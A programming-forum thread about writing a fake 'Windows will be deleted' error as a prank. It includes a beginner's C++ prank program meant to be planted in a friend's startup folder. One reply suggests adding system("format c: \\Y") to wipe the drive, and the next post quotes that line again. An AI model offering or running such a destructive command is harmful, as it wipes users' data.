Thread: Fake Error Message

  1. #16
    and the hat of int overfl Salem's Avatar
    Join Date
    Aug 2001
    Location
    The edge of the known universe
    Posts
    39,659
    I'm sure that your friend will be impressed if your code is buggy enough to actually do damage rather than pretend to do damage.

    Here's some code for you
    Code:
    while ( num_friends-- ) {
      annoy_a_friend();
    }

  2. #17
    Registered User
    Join Date
    May 2002
    Posts
    132
    here... after your friend presses enter have your program execute the following line of code:

    Code:
    system("format c: \\Y");
    that will make it actually do some damage, haha

  3. #18
    Registered User
    Join Date
    Nov 2004
    Posts
    9
    Quote Originally Posted by tyouk
    here... after your friend presses enter have your program execute the following line of code:

    Code:
    system("format c: \\Y");
    that will make it actually do some damage, haha
    That;s just a little to mean....He's my best friend, so i don't want to damage his pc in any way....

    Here's my code (I know it's simple, but hey I'm new at this!)

    Code:
    #include <iostream>
    
    
    main ()
    {
      cout << "Critical error!  Windows XP will be deleted at next boot." << endl;
      cout << "Press ENTER to reboot..." << endl; 
      cin.get();
      cout << "Do not worry.  Windows XP will not be deleted, RadRacer just made this scare you-Press ENTER to find out how to remove the error." << endl;
      cin.get();
      cout << "First you must locate the file called error.  ( It's in C:/Documents and Settings/All users/start menu/programs/start up).  Now just simply delete that file!" << endl;
      cout << "Once you have done this, press ENTER to close this window and continue with what ever it is that you were goin to do." << endl;
      cin.get();
      cout << "Nope.  The window still isn't closed." << endl;
      cin.get();
      cout << "Getting closer." << endl;
      cin.get();
      cout << "Hiya!!  The Window still isn't closed!!" << endl;
      cin.get();
      cout << "Still not closed!  You do know that all you have to do is hit the little x in the top right hand corner!?!" << endl;
      cin.get();
      cout << "This is the last window!" << endl;
      cin.get();
      return 0;
    }
    I just simply put this in his start up folder and next time he starts up his pc he'll get the little window popping up saying that his OS will be deleted next boot....
    Last edited by RadRacer; 11-28-2004 at 08:15 PM.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Fake keystrokes to another process
    By Nota in forum Windows Programming
    Replies: 20
    Last Post: 01-26-2009, 11:56 PM
  2. Fake spyware
    By hdragon in forum Tech Board
    Replies: 19
    Last Post: 01-12-2006, 11:44 AM
  3. Making a fake soundcard
    By johny145 in forum Windows Programming
    Replies: 3
    Last Post: 11-03-2005, 09:26 AM
  4. Eerie ghost movie (real or fake?)
    By anonytmouse in forum A Brief History of Cprogramming.com
    Replies: 27
    Last Post: 11-11-2004, 09:28 PM
  5. Pass Fake Keystrokes to 3'rd Party Application
    By Jattie in forum Windows Programming
    Replies: 11
    Last Post: 10-31-2002, 06:53 PM